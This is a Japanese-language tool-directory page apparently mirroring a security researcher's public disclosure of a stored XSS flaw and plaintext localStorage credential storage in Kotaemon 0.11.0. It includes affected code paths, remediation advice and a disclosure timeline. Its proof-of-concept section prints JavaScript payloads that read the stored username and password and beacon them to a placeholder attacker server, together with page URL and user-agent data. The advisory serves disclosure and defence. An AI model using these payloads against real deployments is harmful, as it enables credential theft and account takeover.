Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — CVE-2025-56526 および CVE-2025-56527 の公開開示 — Kotaemon 0.11.0 における未サニタイズの PDF コンテンツレンダリングによる格納型 XSS と平文認証情報の露出。完全な技術分析、PoC、影響評価、および責任ある開示のタイムラインを含みます。 | Kitploit
ツール/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
フィッシングツール脆弱性分析エクスプロイトウェブアプリケーション悪用データ流出ウェブセキュリティ論文と研究学習と教育

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

CVE-2025-56526 および CVE-2025-56527 の公開開示 — Kotaemon 0.11.0 における未サニタイズの PDF コンテンツレンダリングによる格納型 XSS と平文認証情報の露出。完全な技術分析、PoC、影響評価、および責任ある開示のタイムラインを含みます。

リポジトリを見る
19ヶ月前未レビュー

Kotaemon CVE-2025-56526 および CVE-2025-56527 公開開示

Kotaemon の情報パネルにおける保存型クロスサイトスクリプティングが、localStorage への平文認証情報の保存と組み合わさることで、悪意ある PDF を 1 回アップロードするだけで完全なセッション侵害が可能になります。

エグゼクティブサマリー

  • 影響を受ける製品 / バージョン: Kotaemon <= 0.11.0(コミット 37cdc28 を含む)
  • 脆弱性:
    • CVE-2025-56526 – サニタイズされていない PDF コンテンツ描画による保存型 XSS
    • CVE-2025-56527 – localStorage への平文のユーザー名/パスワード保存
  • 必要な権限: ドキュメントアップロード権限を持つ認証済みユーザー
  • 影響: 認証情報の窃取、永続的なセッションハイジャック、LLM 出力を表示する UI の改ざん、さらなるユーザーの信頼の毀損

CVE 概要

CVE ID弱点CWE主な影響
CVE-2025-56526PDF 由来の HTML による保存型 XSSCWE-79任意の JavaScript 実行、データ外部送信
CVE-2025-56527平文認証情報の保存CWE-922認証情報の漏えい、セッションハイジャック

技術分析

1. サニタイズされていない PDF コンテンツの描画(保存型 XSS)

PDF 抽出結果(テキスト、テーブルマークアップ、画像メタデータ)はエスケープされずに DOM に注入されます。そのため、悪意ある PDF は、情報パネル(Information Panel)または推論(Reasoning)ビューが retrieved_content を描画するたびに実行される任意の HTML/JS を内包できます。

影響を受けるコードパス:

  • libs/ktem/ktem/utils/render.py(Render.table、Render.image、Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py(table / image レンダリング)
  • libs/ktem/ktem/reasoning/simple.py および libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. localStorage への平文認証情報の保存

libs/ktem/ktem/pages/login.py は libs/ktem/ktem/assets/js/main.js とともに、生の認証情報を localStorage に直接保存・取得します:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

XSS ベクターを通じて実行された任意の JavaScript は、これらの値を即座に読み取ることができるため、確実な認証情報の窃取と長期間にわたるアカウント乗っ取りが可能になります。

概念実証(PoC)

  1. 以下のペイロードを PDF に埋め込みます(例: 画像の alt 属性またはテキストオブジェクト内):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. PDF をアップロードし、Kotaemon の情報パネル内で開きます。埋め込まれたスクリプトはアプリケーションのオリジン内で実行され、認証情報を外部に送信します。
  2. 拡張されたペイロードは、さらにブラウジングコンテキストを窃取して標的設定に役立てます:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

影響

  • 保存型 XSS: 悪意ある PDF が表示されるたびに任意の JavaScript が実行されます。
  • 認証情報の窃取: 平文の username / password のペアが、注入されたすべてのスクリプトにさらされます。
  • 永続的なセッションハイジャック: 攻撃者は認証情報を再利用してユーザーになりすまし、プロジェクトにアクセスしたり、LLM の出力を改ざんしたりできます。
  • LLM 出力の完全性の喪失: ユーザーは情報パネルや推論結果を信頼できなくなり、高度なソーシャルエンジニアリングの連鎖が可能になります。

拡張脅威分析

Kotaemon は、ユーザーが機密性の高い内部ドキュメントをアップロードするローカルまたはエンタープライズ環境で展開されることがよくあります。PDF 由来のコンテンツはサニタイズされずに DOM に挿入されるため、攻撃者は通常のビジネス文書のような外見の中に悪意あるペイロードを隠すことができます。

被害者がこの文書をアップロードして表示すると、隠された JavaScript が自動的に実行され、localStorage から認証情報を盗み取り、プライベートなチャットログやドキュメントの内容を暴露します。

トリガーはユーザーが開始したように見えますが、これは自己 XSS ではありません。 根本原因は、アップロードされたファイルから抽出された HTML をサーバー側でサニタイズできていないことであり、信頼された UI コンポーネント内での保存型 XSS を可能にします。

その結果、現実的なソーシャルエンジニアリングのシナリオでは、悪意ある PDF を 1 つだけで完全なアカウント侵害につながる可能性があります。

推奨事項

  1. 描画前に PDF 由来のすべてのコンテンツをエスケープまたはサニタイズしてください(例: html.escape、DOMPurify、または DOM シンクに対する Trusted Types)。
  2. Markdown/HTML のホワイトリストパイプラインを適用し、承認されたタグ/属性のみがブラウザに到達するようにしてください。
  3. 生の認証情報のクライアント側保存を禁止し、代わりに HTTP-only のセキュアクッキーまたは短期間のセッショントークンを使用してください。
  4. CSP(script-src 'self')と Trusted Types を展開して、DOM XSS の攻撃対象領域を縮小してください。
  5. PDF 取り込みパスに対する回帰テストを追加し、取得したコンテンツを信頼できないものとして扱う LLM 出力処理ポリシーを定義してください。

証拠(screenshots/)

  • 情報パネル内に描画された悪意ある PDF
  • 抽出されたコンテンツを介して注入された HTML ペイロード
  • サニタイズされていない DOM ノードを示す開発者ツール
  • localStorage に保存された平文認証情報
  • ペイロードによって発行されたネットワーク外部送信リクエスト
  • base64 エンコードされた認証情報を受信する攻撃者サーバー
  • URL/オリジン/UA メタデータを収集する拡張ペイロード
  • 攻撃者が制御するセッション/UI の結果

開示声明

本公開アドバイザリは、業界標準の責任ある開示慣行に従っています:

  • ベンダーが対応しパッチを適用するために 90 日以上の期間が提供されました。
  • 解決策や是正計画が提供されないまま、複数回のフォローアップが行われました。
  • CVE 識別子(CVE-2025-56526、CVE-2025-56527)は MITRE によって正式に割り当てられました。
  • 公開開示の 30 日前に最終通知が送信されました。
  • エンドユーザーを保護し、未パッチのリスクへの露出を減らすため、公開開示を進めます。

ユーザーへの推奨事項

Kotaemon(<= 0.11.0)のユーザーは、セキュリティ修正が利用可能になるまで以下を検討してください:

  • 公式リポジトリで今後のセキュリティパッチを監視する。
  • 信頼できないドキュメントの処理を避ける。

開示のタイムライン

  • 2025-07-14: 初期の脆弱性レポートが Kotaemon チームに提出されました。
  • 2025-08-12: 最初のフォローアップ。ベンダーは多忙であることを認め、期限の設定を要求しました。
  • 2025-09-12: 詳細なレポートと PoC を添えた 2 回目のフォローアップ。
  • 2025-09-13: 最終フォローアップ。それ以降の応答はありません。
  • 2025-10-14: 公開開示の意図を示す最終通知が送信されました。
  • 2025-11-14: CVE-2025-56526 および CVE-2025-56527 の公開開示。

クレジット & 連絡先

  • 本レポートは HanTul によって作成されました。(元 Team 404 Not Found 퇴근、WhiteHat School 第 3 期(WHS3)、韓国)。
  • 連絡先: [email protected]
  • GitHub: @HanTul
ツールをダウンロード